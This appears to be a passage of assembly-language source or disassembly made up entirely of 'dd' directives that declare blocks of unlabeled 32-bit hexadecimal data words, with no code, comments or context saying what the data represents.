dd 37524A30h, 5F52CD85h, 0AA09E9BAh, 8B1425Bh, 0EAA673E3h
dd 7D4E18B0h, 0B109E89Dh, 0AD69D2D8h, 4710481Ah, 0D3544C2Bh
dd 6484D7A1h, 0C3452DEBh, 49FAC7B9h, 55384E5Ah, 859282E3h
dd 0F5C7899Eh, 0E8C49875h, 0CFBAD2Eh, 67073659h, 0EA87E365h
dd 417A4144h, 690898B5h, 28CC590h, 10891F46h, 0C42C4432h
dd 0D8FFAA76h, 0D011DF1Bh, 6F43D71Ch, 0C6F8C415h, 0FD36133h
dd 2CA28C20h, 0E29F528Fh, 215F02F1h, 4F136CF5h, 0DF4EACFDh
dd 448789A6h, 3DBBF335h, 2F6E34BCh, 9765E6BCh, 0F6748DB7h
dd 0B82BD000h, 0B3A5B501h, 0CC9C4646h, 0EB186CDAh, 0BB0AABA5h
dd 2020A479h, 0D2647004h, 6060EE5Dh, 0BA341F31h, 61429FAEh
dd 9417F21Dh, 0CD3ACE55h, 0B00ACD5Dh, 1F94EE4Fh, 780E2095h
dd 0B542B238h, 0F3CEFCA1h, 0F1B1409Ah, 6D282BADh, 27D8B5C2h
dd 3A9766A7h, 81B71410h, 41BDF97Eh, 6D8E3E02h, 4B2CEC8Dh
dd 38A31815h, 8E7A4533h, 71B3AED8h, 4A0E2C27h, 0F35AA48Fh
dd 0C0F31567h, 6D5207A5h, 67CFBC60h, 0F39999D9h, 0FF7FDBFh
dd 918DCB90h, 0FFF4CB5Fh, 977EFA8Bh, 1D168B70h, 49F4BBFBh
dd 0FFA271Bh, 1DC2AEBAh, 3578E1B0h, 0EC87395Ch, 0CF4366B7h
dd 0F496A044h, 338551CAh, 7B0FB8A1h, 38E73829h, 0CF7D79A1h
dd 0A2B06147h, 447B27C2h, 0CA387E08h, 8567E747h, 0C5F63DD0h
dd 0E1DDD85h, 98FA226Eh, 20C7B353h, 55645803h, 0E959A5DEh
dd 0F2706A2Eh, 3E9EB184h, 7BE43E68h, 0ED67231h, 12507B71h
dd 46D9E675h, 2C1CACA9h, 0E87B63BEh, 2E15A601h, 0E6631C40h
dd 0FB062227h, 0DAD01778h, 4E440DBBh, 0EE676241h, 66BD52A0h
dd 889158E0h, 2E41A78Fh, 0A91AF376h, 712E839Eh, 0E0A32620h
dd 8A32C90Fh, 9B713FDDh, 601ADAC7h, 0B9CE49Fh, 2FE36696h
dd 6059AA16h, 0DDD4A476h, 0FEF13DFh, 8B4B94Dh, 27F2A0C3h
dd 8192FC9Eh, 0E5FAB864h, 0F9BA4BAh, 625EDFAEh, 650BC6E5h
dd 148368C5h, 0BDDDF61h, 52C1FC5Dh, 0EFF720CEh, 4DE88AE1h
dd 40D13216h, 0B34381EDh, 7E7FFF02h, 41BD9745h, 4475A5DFh
dd 19B44D88h, 7893F32Fh, 0DB12B0AFh, 359DA7AEh, 7DCA583Fh
dd 5810ECBBh, 4BE21129h, 2C7833B8h, 0E305765Bh, 324DE1FAh
dd 0A988F8EBh, 24A7CDBCh, 0A820384Eh, 5443CA7Bh, 0E858F957h
dd 0D17DE19h, 57B9D7AEh, 63EB2199h, 0FD531BAFh, 3A89AEDh
dd 64885F7Bh, 55B1BEC0h, 0FF63384Bh, 9ABC8067h, 31740F45h
dd 0F7ABB6ADh, 404D64A8h, 880BB45Ch, 0F358F1DAh, 0F4D34071h
dd 5BED6422h, 0C4D80B37h, 23AD9AF5h, 0B71D5BCFh, 0B198CF51h
dd 67C93207h, 955994FCh, 7C145F44h, 10D8E1FDh, 95770453h
dd 0BA95A220h, 69710E6Eh, 32EE39F1h, 0FBB1D92Eh, 4ED5E166h
dd 4059B53Bh, 0BACB3A02h, 0A61C8D85h, 8CC89298h, 4D02B01Bh
dd 0A708545Ch, 1C3F6FD6h, 10025B61h, 9E25020Eh, 26EEDDA5h
dd 63DD8196h, 9DA9A99Ah, 46D9B278h, 4A6C0D5Dh, 0ECB0C4Fh
dd 88C517F5h, 6398559Dh, 470106Bh, 0BE41A8B8h, 0ADBA263h
dd 0A80DFD43h, 0E14DA809h, 893A032h, 1CD981A2h, 1D2229CEh
dd 3AA35E7Dh, 289256A7h, 5D4EF7EEh, 0C5D41FBh, 916AEE73h
dd 65BF8C7Eh, 90A5CC09h, 9535A4C2h, 0E2E65E4Dh, 4B2CB5DBh
dd 0DD696E99h, 9F4F044Eh, 2F7BA157h, 155544E6h, 0CDE7DC01h
dd 798809C8h, 98B0D510h, 8EDFF815h, 0D5F2C6A4h, 0AF41058h
dd 0B984AED9h, 0A8299572h, 0D4332FCBh, 0AC1D80DBh, 0B574E3A1h
dd 0B309C7EDh, 0DFFA7D8Fh, 6DB74E13h, 770BE9CDh, 43CA5D5h
dd 2A183805h, 3EA65F8Fh, 0DC125D92h, 5425CB07h, 0CA867F66h
dd 0E0F773DFh, 1AC16087h, 246E01B1h, 6953F770h, 0A97FDAE4h
dd 64E8B24Eh, 0F0C0DF7h, 2724EE99h, 4587EBCAh, 0C8C9E644h
dd 14391140h, 3FA03370h, 25B02507h, 46A93A40h, 0E5E85EF7h
dd 0F6A7F8Ch, 3132473Bh, 15B74D0Eh, 0F9C7F9DCh, 98D9DB82h
dd 0AB41C53Ah, 37882EA1h, 26A18DC6h, 3D9C86BBh, 0EC1B871Dh
dd 0B0DD362Eh, 34E6EC61h, 1780A290h, 3341C45Ch, 833DCCE1h
dd 3D21603Fh, 46898DCEh, 11E3B809h, 8D411BE8h, 156AEDEFh
dd 0BC1F5BC4h, 0FBD0AC59h, 0B1B6E9B2h, 36F5F8FDh, 26F530A7h
dd 0DDAE1294h, 0B235F693h, 8EA74DC5h, 34674616h, 2B7BBC24h
dd 96B642Fh, 57CD0917h, 0E8785B59h, 9A000D19h, 24EDEB6Ah
dd 0E378FF2Ah, 0DE087403h, 241E494Dh, 83631FB1h, 349070FFh
dd 0C4C951D8h, 61AF3240h, 0B9776E21h, 892E8F66h, 60AFAA5Eh
dd 1B6446ACh, 1ACDA75h, 0EA76E300h, 0F19AD23Ah, 4CCD290Ah
dd 35316DDBh, 3EE78E30h, 64A3503Eh, 60FDE4EEh, 0BE404D0h
dd 4F5A75C7h, 1BD15A39h, 1F3A5D63h, 77EA75F6h, 0CBD02F5Ah
dd 0FD37DB3Bh, 83C1D2B8h, 385F32B1h, 497F1578h, 4D2E3143h
dd 0D112EAE4h, 24CAA411h, 4040BC2Eh, 90CA856Ah, 0FB6933ABh
dd 9CFF66BAh, 127968EBh, 56B7494Bh, 1E1F2434h, 0BD776FCAh
dd 0C11E3CBBh, 0E2299B09h, 0C9B807E9h, 634A96D9h, 3266347h
dd 0DC15257Bh, 6AA950B0h, 3F06FCFAh, 5FF4B73Eh, 0BCB03651h
dd 0B16AC0B4h, 1BDEFFE4h
dd 1655BD1Bh, 6BE10D84h, 1DB177F9h, 0D85C4BF8h, 1EB88788h
dd 9FCAD36Bh, 0ED3115C7h, 0C7E67C8Dh, 0C7623915h, 61696625h
dd 0EA449E05h, 0DD4DDE0Ch, 30591A4h, 2DC68FB8h, 0C66E6FEEh
dd 0DA9DDA6h, 503472EDh, 63D4E56h, 0F70FAF9Bh, 0E0E4082Fh
dd 78689378h, 0C4498641h, 991A37E6h, 0B4CE5F3Dh, 0B95EC7C1h
dd 51CAAA78h, 0A0257138h, 0DC75209Ch, 0A7BC07CAh, 0D10ABD1Eh
dd 83916504h, 7E2FDEE8h, 0A7D84ED6h, 1375A1F5h, 8D8A1AF9h
dd 0B93F0013h, 849EA4F1h, 7DA90E0Ah, 4DFC421Ch, 4AA6A937h
dd 8F731294h, 0BE4C5F71h, 0A14DB59Bh, 58B47E54h, 78B645E3h
dd 64ED4EA4h, 5C712998h, 0E086EAB0h, 0EFDADD17h, 4479E812h
dd 52246910h, 0A3CAEEBAh, 838D5CE4h, 4E1AF279h, 3AD5B58Eh
dd 0EBF8078h, 0D6B982BDh, 0F9D7A783h, 2AE23B5Eh, 0A058F1DDh
dd 0EB0A9127h, 0F045BB19h, 0F5C4DE26h, 0E0B49459h, 10331CF7h
dd 3FDA00CFh, 0EF5E0BFFh, 0F8C93BDBh, 527E08A8h, 9C433ED6h
dd 3E57EE38h, 43721FC6h, 0AB997512h, 11F59030h, 0C46918E3h
dd 4471CDCAh, 0A0430AF2h, 0FCCDA20h, 91BAC5E0h, 123C35A8h
dd 0E54C807Dh, 575BF4B2h, 0C688CADDh, 0C5B51A98h, 0C2278A4Fh
dd 70D347Dh, 0D9001B3Eh, 0C5F89EF2h, 0F37CEC72h, 0F5F5EA16h
dd 0CBD3D587h, 295094C1h, 0C1667FB2h, 7C768065h, 0E747CEDh
dd 0F6C1C1EFh, 5E0B0A6Fh, 0AEEA93Ah, 0FD6AE4D7h, 10971617h
dd 1B72395Ch, 0C654C2F3h, 7D2D0AA8h, 2EC26ED2h, 574C7E6Eh
dd 0DF2CCC73h, 2BC3CCF6h, 0FEA803CFh, 26994FBCh, 0F066C881h
dd 6B9471AFh, 230BAA72h, 0CFDA197h, 465E25F5h, 0D199DAFh
dd 0A499FA9Fh, 0CC2AC53Ah, 77A9E926h, 0FA019553h, 6BD3174Ch
dd 2A8B81CEh, 0BF5E8453h, 20FE377Dh, 42BCD4EDh, 85288CAAh
dd 158601F3h, 0E7F73E9h, 2EAFBD73h, 9364B2A7h, 248F1126h
dd 0CE4A2C9h, 0EEDD0BCFh, 199F64AEh, 34C6E0F2h, 0ADC5B3D3h
dd 1C2A1BF4h, 0C56774DBh, 0F9ED1C1Fh, 66878435h, 0D0F59897h
dd 4C394FDh, 0F94246C5h, 0DBE57821h, 28A3619Fh, 0C1A68D81h
dd 9A53A79Fh, 28DF8A03h, 4EE3022h, 0F429F235h, 71DF8973h
dd 4673153Dh, 37EBC773h, 744DCE49h, 92C1CC02h, 0E501AFBFh
dd 61ADA892h, 9059551Dh, 0D5234D46h, 39892675h, 4506AE12h
dd 8D25F8BDh, 5AB1A1h, 77AC836Ah, 96B2A01Fh, 3A7CDCC1h
dd 480A5E98h, 2A30F13Fh, 0F8C3B3CCh, 0C786DCF4h, 8C21D00Ah
dd 827846E4h, 60A7CE31h, 8C51048Fh, 7DF5AFD2h, 0F18C3659h
dd 0CBD32DA0h, 0CBA1ACCh, 1BF26BEEh, 0CE32556Dh, 0CC1DB6h
dd 1777D8E5h, 0C71259DCh, 0F289421h, 0DF6939F9h, 12DEDC87h
dd 0E88F5E09h, 710E9D42h, 0B5E2195Ch, 0D27D940Dh, 0BFAEB18Bh
dd 76B1F19Bh, 283395ADh, 25ECDDFDh, 0B50701A9h, 17E56488h
dd 0E1202B96h, 0D03D1BF2h, 0AB6F57AEh, 3462ACDDh, 89CC841Ch
dd 0E51FAE81h, 0A35A1E30h, 2D8D0252h, 0D2E0895Dh, 0D8FEB831h
dd 89F8C4FEh, 667775FFh, 3CC5E2EDh, 872F1648h, 0C4876E4Eh
dd 866FF829h, 0E96E5146h, 0F89BFB5Dh, 6AEB86A0h, 0CC10E86h
dd 35E4D663h, 26409987h, 97A2BA40h, 46B8264h, 0FDC7AC9Fh
dd 0C1E9D462h, 66F1B4C7h, 9EC0FCE8h, 266E6498h, 4AAF6938h
dd 0F34CBDC5h, 29F865E3h, 0CE86599Fh, 9CA28A25h, 321CBC2Eh
dd 0D4D8D702h, 9F372542h, 59961AA0h, 94A01FF8h, 4E4BE861h
dd 0ACA3FD83h, 0DEED77C6h, 71401C9h, 9631D22Dh, 7002C369h
dd 0CFB77661h, 85AB9B41h, 285E71Fh, 92A61F16h, 0A0F5D06Eh
dd 0A3C0020Eh, 7693A25Ch, 1D4714EAh, 8F91435Fh, 0B82B5498h
dd 7F71FEF7h, 13989D65h, 9B5CACE4h, 8A96C10Ah, 4572E08Eh
dd 0E009D953h, 155A0870h, 0A2248DEDh, 1766D19Eh, 58620559h
dd 0F31C9118h, 0A59E7E95h, 0D77B0792h, 8B924DD2h, 3905E14Eh
dd 0B6CA492h, 0C10E661h, 52237464h, 4423E3CCh, 0A0BA5737h
dd 0A3F97D82h, 5F381417h, 2E4A1BF9h, 7F78ED89h, 0F98823BBh
dd 0FEB1261h, 78ADECCh, 3561F843h, 6AF858AFh, 0A5DC0BE8h
dd 0D809270Ah, 0DE943E0Bh, 8DA3726Dh, 87221EE2h, 8835AC9h
dd 21923508h, 2BD32B74h, 404EFAAFh, 6465B5E9h, 0B3414C03h
dd 0DC7B34Fh, 8D8ACE52h, 24DA8A85h, 321E1DEAh, 5FFD00F2h
dd 7449970Ah, 0CDB80FC1h, 0FECC81D7h, 0D7CD6A66h, 76152F15h
dd 2985BD6Fh, 0D7A10EFh, 0C987DFAEh, 224920C8h, 8886EF65h
dd 23F2BF3Ch, 13D45389h, 5C06367Bh, 6324E174h, 51D618D4h
dd 5DB04D1Ah, 6DEA903Ch, 2C53D1DDh, 4E3A76h, 0FA3A2FDEh
dd 9C07995Dh, 13D9DD13h, 3726477Fh, 0CF4A172Fh, 61E5FFA1h
dd 75772290h, 0DA444F99h, 0EE5D8299h, 0DD3D1402h, 9752584Ah
dd 5514F0A3h, 4F69FC85h, 73B480C2h, 0DBC1701Fh, 804917FBh
dd 6C5B752h, 7A100C74h, 6BADDAD2h, 0EA27B87Dh, 15699996h
dd 42AFFDF3h, 0B4D0B0C6h, 0A9C1529Eh, 805498FCh, 5ED11C66h
dd 0DD92D3CEh, 4B490807h, 54999DC3h, 0EB82E9F7h, 57C823C7h
dd 4B83FB45h, 4A665058h, 168D84EFh, 28980E42h, 293D4241h
dd 291FC751h, 0F76B2570h, 0FA7A3CE9h, 3B37B10Bh, 46314FF9h
dd 8B50013Ah, 98AA0845h, 0E9A833h, 82E45193h, 0DC48E983h
dd 5198FFC1h, 0B5DC6E35h, 35A7245Ch, 0D391B581h, 0B02A3BB0h
dd 9315B823h, 861266D2h, 0D2818A5Ch, 2E34C48Eh, 0F4A2325h
dd 0C9E89A11h, 7C34F3DCh, 0AA026971h, 0AE023768h, 11887488h
dd 71D86414h, 306F7DEDh, 0D780178Ah, 5495BD7Dh, 0EBFE4894h
dd 5A38B32Fh, 0E72A3F51h, 0ADC43783h, 4AD7E2DAh, 0BBA76B6Ah
dd 28C95F9Fh, 6F5FF656h, 983D4DD3h, 0C96C8950h, 48E069C1h
dd 4EA5AC9Eh, 499FA16Ch, 85F0DFE3h, 929ECD12h, 0CCB59FBCh
dd 3A3EE5Bh, 7A2D1FD0h, 0EFB7893Eh, 0A248D125h, 0B841974Bh
dd 63A96077h, 2251774Ah, 8BC6A9A7h, 0CB222CBEh, 25985AB1h
dd 0A8DE83E5h, 9960FD83h, 20CC9DDEh, 2DEC5769h, 1CEE0579h
dd 841DF514h, 7F4F7FFDh, 680F11C6h, 17DD8370h, 0E72A53F2h
dd 0E0CC6D94h, 0A3895F10h, 615F64B4h, 729CAE06h, 2A90DD77h
dd 385A163Ah, 0A64F4E5Fh, 0ED5866DFh, 65E778FEh, 0B7423C09h
dd 0C3DFBCDBh, 2FDA0939h, 6531A82Eh, 97DB52A4h, 0CCD101B5h
dd 2E21E90Ah, 35243B45h, 74FB753Ch, 0A2EC5F23h, 0D6F55704h
dd 495B6FADh, 0DA0BD6DDh, 0E08329FEh, 7543E856h, 0C5A8C892h
dd 74B63BD9h, 4B3C03BAh, 0B28288F2h, 6C142867h, 8D5EE0Ah
dd 0E6C79CDh, 6413EE4Eh, 0E4F10BEh, 57671318h, 0BBC71929h
dd 18B5D94h, 76E0A689h, 0F3F0ADADh, 986705AEh, 444E96B1h
dd 385542C3h, 0ECE6312Fh, 9B93DFAEh, 1690FB7Ah, 0E04BC62Bh
dd 6D14604Ch, 152DA5F8h, 4811D14Eh, 58D45E11h, 0AE3686A4h
dd 67CE4DE2h, 0A43B7F29h, 37BCF03Ah, 0E996DFE1h, 878CE561h
dd 0DD1A974Dh, 0F72ABD6Ah, 0A7C557EAh, 0A4847EDFh, 0DB73EB6Fh
dd 547A3C00h, 5315B92Eh, 55CA7AABh, 94DD53D8h, 0E83DC1F3h
dd 488F2F2Eh, 8C72A67Fh, 0CADDD651h, 36E39775h, 84E2ED68h
dd 0FD1DE6BFh, 0C3718398h, 118790F9h, 0A7D173CEh, 0BCFD4725h
dd 73A69C1Eh, 32062BCDh, 8C475506h, 0B3EBB306h, 0EDCCE61Bh
dd 652C9322h, 0BEFD6B1Fh, 7F2074DEh, 84FFC687h, 93AC29CAh
dd 0D3E8427Eh, 4DD2E157h, 3FBCC591h, 0FE88A689h, 0EB5064E7h
dd 0A0442070h, 278CC51Dh, 241FAA00h, 0E724FC38h, 48240837h
dd 4B503EE7h, 0C8A6AF4h
dd 9D141190h, 8E221452h, 378551CFh, 57689533h, 297F88A4h
dd 78ABF0C3h, 4E822CDCh, 174B4CAh, 0E607ED7Fh, 66963F1Dh
dd 0B9BFAD8Fh, 10F8C764h, 1C8BF189h, 7BB5C347h, 0CAE52ED0h
dd 41A2965Ah, 85FCF31Dh, 770A7E69h, 0D573F344h, 5838E639h
dd 9CBA4B54h, 910E24BCh, 2426F2BBh, 83D129D6h, 3125FD3Eh
dd 4862851Fh, 79133A42h, 39501277h, 0D1F249E6h, 0C32D8632h
dd 0E3148B75h, 4F16A611h, 0AE1E791Eh, 0D79F3193h, 0AFA435F0h
dd 0B45FAA12h, 3247FC0Ch, 3881B2CFh, 340E11F1h, 5E5DA3C8h
dd 0C8B524B7h, 755B22A5h, 0FFE28E11h, 3B8056A4h, 0A7EE2C5Fh
dd 0BE553A97h, 0EDA7A883h, 0EB975BA2h, 595C1C00h, 245F7B6Bh
dd 1BF33794h, 1922CCDFh, 2B8F4C8Dh, 0DC16DC80h, 0CBC5C2F7h
dd 777CF1CFh, 0E3980D46h, 68B50606h, 4EED113Fh, 0E26E45E1h
dd 98E56E99h, 4870DBDFh, 58CE20D7h, 8103088h, 3F934BEFh
dd 631FFC17h, 458BEE2Fh, 6E88BD79h, 0C541535Eh, 2B091221h
dd 964780F2h, 6B8D493Bh, 0EAA8B53Ch, 71835CBEh, 0A6C1A4Fh
dd 9C01F2CEh, 5364CC8h, 0AA0CA93h, 0A054BFDEh, 289041C4h
dd 604ADF74h, 3932B51Fh, 0D006FE18h, 0E2452BA2h, 0B1495530h
dd 0DC1325Ch, 16DA508Dh, 2045D192h, 0C05072FCh, 645E2D2Dh
dd 520A106Fh, 0BAC6D84Bh, 3FDE9B08h, 7CD6F700h, 662AEC66h
dd 3E1FCDECh, 0E9B05148h, 9A8B8C74h, 7C41EF62h, 6E81C30Eh
dd 2C8E809Fh, 7EC19860h, 90F0AA6Ah, 724A75BFh, 0D1850A43h
dd 0DE67FEE7h, 221BCD53h, 0DC3E8E55h, 0AFAC0FA2h, 68E7632Eh
dd 9FB2E158h, 558943A5h, 18E24A3Ch, 26FDFAACh, 0BDF30DC9h
dd 0F34D3EFDh, 39A9FF97h, 3BB6AA37h, 6C39E29Dh, 75825585h
dd 0A555BFEDh, 0F724193Ch, 0F517F10Ah, 9F5B0D02h, 27BED9EFh
dd 9234C9E7h, 4401A40Bh, 5219308Dh, 292221A3h, 0A795374Ah
dd 0C7560764h, 231669AEh, 0F7DF6846h, 0A8D64B49h, 0F15C7F7Dh
dd 0CF96FE51h, 0EADF51DFh, 0AEDDD80Ch, 1219B3BAh, 0B3ED613Ah
dd 93BBF61Fh, 8B3A7375h, 40220BEEh, 0FB9A3E3Ch, 3CDF8501h
dd 82D3BE26h, 0E8CD4D9Eh, 0D710AE51h, 0ABD2E708h, 62B9187Bh
dd 45BED914h, 8250D613h, 0F8423F05h, 0D2500EB1h, 0CC1E6DA2h
dd 0E8D430FCh, 9D2639A8h, 0AA3EEF24h, 82B28F88h, 486F3EC2h
dd 0D1DE9714h, 5FE3AD05h, 24B7BA7Fh, 0C5AC1012h, 48F6C15Fh
dd 467773AEh, 4A8DE067h, 3E96C90Ch, 64843ACh, 0B9153F68h
dd 80BA1E79h, 12694259h, 0BEDD4334h, 6A4B71F3h, 19497812h
dd 3DE6D241h, 0C5AD1E3Dh, 0B9D94093h, 57339732h, 7DA79C76h
dd 1CA94D42h, 0B09223D8h, 54E1EC2Dh, 2835C9E7h, 0BAF97DA9h
dd 0F18C99A8h, 0D6430032h, 37C61C95h, 181695D4h, 4D5592Eh
dd 3346BDBEh, 8C14508Bh, 5924F4DDh, 826C50CEh, 6FDDD377h
dd 14B68787h, 316AEF75h, 241EF590h, 0D5D336ADh, 5B0DB4C7h
dd 4B5F9F20h, 5F7DFA30h, 5BF1D66Fh, 0DBC6596Eh, 78767415h
dd 0BAD4CD7Ch, 0BFCAA9C2h, 8EBB7905h, 0AF1CDF49h, 0B9F4FFC6h
dd 8C155473h, 0D4272841h, 7FA99612h, 0F043AA65h, 275A7E5Fh
dd 0E58EC2DDh, 4CEE0EEEh, 0FD0DBEF9h, 0B4FC3DE0h, 6CD9B59Ch
dd 98CC806Bh, 0FE15A807h, 2484535Eh, 85583FC3h, 3CEE840Dh
dd 0E905559Fh, 9BDFDE64h, 0E24C438Fh, 0A4D41ED3h, 0F43B8788h
dd 0D3D636E1h, 763022CBh, 0CA2D16C3h, 3DCD960Ah, 0F445CD0h
dd 0ADD93C06h, 6D952164h, 3868C505h, 6EA6C7A1h, 41E53DB9h
dd 60B19026h, 6BBC15F9h, 280810B3h, 1C8956E8h, 65EC5DEDh
dd 91D20225h, 4F6ADF6Dh, 3657255Eh, 608CA865h, 0F091685Dh
dd 0D5414783h, 0E945A1F6h, 63B227FFh, 30263DC6h, 3899B077h
dd 0CEF37DABh, 3E3006FEh, 774C6E1h, 30E2D9DCh, 5F686B09h
dd 2455AD6Eh, 0A93CB2B7h, 8B7BE310h, 1FBF318h, 191F870Ch
dd 520F08F1h, 0A9A1FFAAh, 0B03CAB75h, 0F5E147E7h, 6C26179Ah
dd 42C403C0h, 34B392B1h, 0D61D869Dh, 0A0A14227h, 0AFE27933h
dd 4EBCD8C9h, 677F8A7Ch, 2B47ABB4h, 82BCF72h, 6B4FD72Ch
dd 0D8F52BCCh, 0C9E844B6h, 55493F6Ah, 46D6650Bh, 5202E290h
dd 0A6787AA0h, 0BDD4CAF0h, 938BA5C4h, 24052483h, 0FC356305h
dd 63053215h, 70E7273Dh, 363F3275h, 0D77AA70Ch, 1FF49E9Eh
dd 1931C3C1h, 32F5FEEAh, 0F1D69B93h, 0B3257DF2h, 711B1B4Fh
dd 20485281h, 9EE0598Fh, 0A6FBD38Eh, 4302172Dh, 91968DDBh
dd 0BE16AAB6h, 9EB99610h, 0E2144FFEh, 0C0D2FF3Bh, 21B308EEh
dd 9F2A7400h, 9041F67Ch, 0D2648455h, 816A5318h, 385F2E45h
dd 880CDB4Ch, 2C97C461h, 33E955A5h, 110677C0h, 0F38270E8h
dd 0F4B18F7Eh, 25C32BC2h, 9B5E63h, 8F147310h, 651ED605h
dd 0F56D6FFFh, 0E1ECA995h, 8F04F127h, 0ED9933ACh, 39A369D5h
dd 5ED877C7h, 20F111A0h, 0F67E6F5Fh, 9CA88716h, 9B0B7CA6h
dd 0A4BA503h, 0D0AE14h, 31839EAEh, 0B3A9B3BEh, 0AAF6C424h
dd 5B46127Bh, 0D0646BF6h, 0D664DF50h, 0BC8303Eh, 26C10C74h
dd 0B925B98Ch, 0BDE18CCEh, 62CD1BD6h, 2A50571Fh, 0F9D20AF8h
dd 68C2D01Eh, 0A2A9B99Bh, 0C4099E26h, 70ABF88Ch, 0CC017ED6h
dd 3EFA167Dh, 4F67FC05h, 0D04FAFA2h, 89F9CCFFh, 0B3AE9727h
dd 0D7350B0Dh, 97F7669Ah, 9219826Bh, 906BD0E9h, 86DD20B6h
dd 63B20037h, 0F2ADB0F3h, 0E5B84AFCh, 0DD195D51h, 1FFDA7F8h
dd 89DF686Eh, 35B7125Bh, 0BA2F1BF7h, 0C0B973Bh, 0C96930E3h
dd 372872CBh, 0A23C9DFAh, 12D901D2h, 54CE8C98h, 0E6E9E36Ah
dd 92CB103Dh, 0F5A53987h, 0ED77F492h, 0A8925785h, 0B707937h
dd 576173B5h, 0DDD5CE6Fh, 0F75B61CDh, 548A8670h, 3B15B256h
dd 48E9F143h, 574CECD4h, 71E03FC9h, 0FE9FB838h, 0A3FE23CCh
dd 0FAC62F1Fh, 0F0C38E22h, 0BE726D28h, 958F2281h, 0B2E469A0h
dd 0BEE65B81h, 2150903h, 6D266B02h, 0A705B05Bh, 67501B24h
dd 4FA9F47Fh, 0B39DE38h, 0B0A17A36h, 739DA5DCh, 2102E621h
dd 0A7AB76E7h, 829E942Ch, 1AB57A39h, 0F787CEDEh, 0E32DCD78h
dd 676D193h, 0A691E8D8h, 744991EDh, 0A66300D2h, 0CA2943D1h
dd 33C0725Bh, 21E0A951h, 76E610ACh, 0C9BD0E7Bh, 3C25E404h
dd 2ABD446Fh, 0A4F643CBh, 69D3AB70h, 0EE576833h, 9116DCF5h
dd 3C2E2AEDh, 9A28EC37h, 8C643121h, 0B31EECB3h, 1B232C03h
dd 0EB49B08Bh, 321843ECh, 4A0FECF8h, 4027C31Dh, 0BDC3D560h
dd 4129E952h, 8FDF63D1h, 799D605Bh, 8DF19DE9h, 0D0F4C930h
dd 6EF96865h, 0BB68393Dh, 59CC3711h, 0FE7F405Bh, 0EF5BDC0h
dd 0D0EC6F86h, 0AB07FF38h, 3F626BE6h, 5548BB04h, 700E3F5Ch
dd 0F81F9F0Bh, 1602F53Bh, 18A57A65h, 60F96618h, 644639E9h
dd 3B65ED86h, 0EA20C31Fh, 39C22CE8h, 411B808Fh, 0DCCDCD9Eh
dd 8E9BB78h, 0A4CE6D3Eh, 1210020Dh, 52BD7EDCh, 611E5E5Fh
dd 48CFF585h, 60CB6A3Fh, 9B288819h, 79E8B9FEh, 0FF102D3Bh
dd 66E956A8h, 403B81F9h, 0B02ABA62h, 0F51F6D9Dh, 5893236Dh
dd 0E3E7D82Fh, 9FA91DD0h, 9FD557C4h, 42C30E48h, 0E8F520E2h
dd 0FB31F37Ch, 63530589h, 0DEE2B840h, 2662FC8h, 0CC0F1152h
dd 2777EA77h, 87098E89h, 3152BC93h, 0F8662DAEh, 0A5CE6B11h
dd 9922F2D9h, 4AA5D06h, 680C12A6h, 0A7CF0EA0h, 10CC6E64h
dd 8A2ED046h, 0E2AB7BB5h, 49E3FBEFh, 599ED310h, 91093211h
dd 0ADC5C8B7h, 82716ABDh, 0CACEAED9h, 94A40CD9h, 0F5E8FC1Bh
dd 63EAD617h, 0FA7474BBh
dd 0D4B39F5Bh, 0AA64161Eh, 1501B2CAh, 0C62C7C54h, 0AE5DF33Bh
dd 0DE3E9Bh, 924EA307h, 420A51CAh, 70972C58h, 0EB4DBB7Ah
dd 7E21B05Ch, 56F7C049h, 8E66DD57h, 5710BFB1h, 0DE64996Dh
dd 0C99A2192h, 7462C9D9h, 49C1EB66h, 2ED3B1Eh, 0FDD29E46h
dd 73B22B34h, 29ED82E4h, 8DA71DDh, 0FF6D6160h, 749EAD06h
dd 589DED1Fh, 1A7A0844h, 2CB7CCh, 192050BCh, 0F176A2B0h
dd 241209C3h, 0E6180F78h, 326751EEh, 4708DCC7h, 4EBBD2ECh
dd 8993B9B3h, 668DF132h, 6B38C3FCh, 0E1E37F5Ch, 8AAF79A1h
dd 5ACF79ECh, 51F3FF7Bh, 0A0C4ACB4h, 9780ED58h, 4FFE50E4h
dd 0DAB080DCh, 41D6D86Ah, 820DA033h, 0FA893C91h, 0F44702F5h
dd 0AA2DBD9Ch, 0E817CEC9h, 0B226FCD3h, 2C868E0Fh, 0F9803306h
dd 0F03EDC4Bh, 0C3A9FECCh, 73DC6FE0h, 19ED509Dh, 2568CE07h
dd 0B1A431E5h, 598519A9h, 0A391D1BFh, 0F1C418BCh, 0A4321A21h
dd 6DF120AFh, 0E61043C3h, 0F7447D59h, 99C92175h, 5F4DBEF9h
dd 0CD7BC9E2h, 83100438h, 404BE49Ah, 0EFB9452Fh, 48BBD67Eh
dd 0CB6ED0D4h, 0D975891Ch, 0D6349B1Ah, 0E2A6D626h, 0C177330Fh
dd 998E8EE4h, 77219122h, 658CAEDAh, 0B79BF402h, 0B36FE052h
dd 171D5EF2h, 7C58670Ah, 8DB8A13Ah, 4420D55h, 7B3A6BE7h
dd 83D3C0A8h, 9E9F3D15h, 0A0CD2958h, 42B91D82h, 0D6498626h
dd 22544830h, 996DD942h, 0D1D5E148h, 2CDA7E00h, 0AA58A747h
dd 9202E334h, 0ED7672E5h, 0E3CA50C5h, 40FBAD9Fh, 0F219C269h
dd 6CEB8BA8h, 88F5DCEh, 42221585h, 2BB3E389h, 91384109h
dd 0D6E0DDEDh, 0BD944DD3h, 4572897Bh, 29571D46h, 0A57E93A2h
dd 5A21C024h, 0F4547486h, 6C986D87h, 426CFF17h, 4EAA968h
dd 0B39A7BEDh, 4DA70D2Ah, 8313AE51h, 4A1AC54Ah, 9E892764h
dd 17C6C10Dh, 0A1BCD807h, 842D1F3Ch, 0BA8E866Fh, 0D94D9AAFh
dd 0CB82C50h, 72972D96h, 5D0C8474h, 0FDC45FB5h, 23EADA94h
dd 3556CE1Ch, 30C423CBh, 930A8624h, 3346217Ch, 2E2F9AC9h
dd 0F52AB540h, 38A42F59h, 0A9A77427h, 266EB015h, 0C44E8836h
dd 0C9D84BA9h, 428521E8h, 8B583919h, 0FD96FCF1h, 0D903F47Ah
dd 7108B66Ah, 5E044308h, 4CB51418h, 735D4DABh, 0BDB87004h
dd 0D8FDCE23h, 0E284340Ah, 0B7D32F6h, 0E11542D7h, 1C5C0765h
dd 0D5DBCBBDh, 21041C85h, 0F6C01270h, 0F6B583B2h, 0F587CD84h
dd 3F1BE6ACh, 2F5054B3h, 0ABBB6644h, 3873CA7Fh, 8CFA4117h
dd 5AE44311h, 2A155354h, 78E429E9h, 0E2B29057h, 6EE32C51h
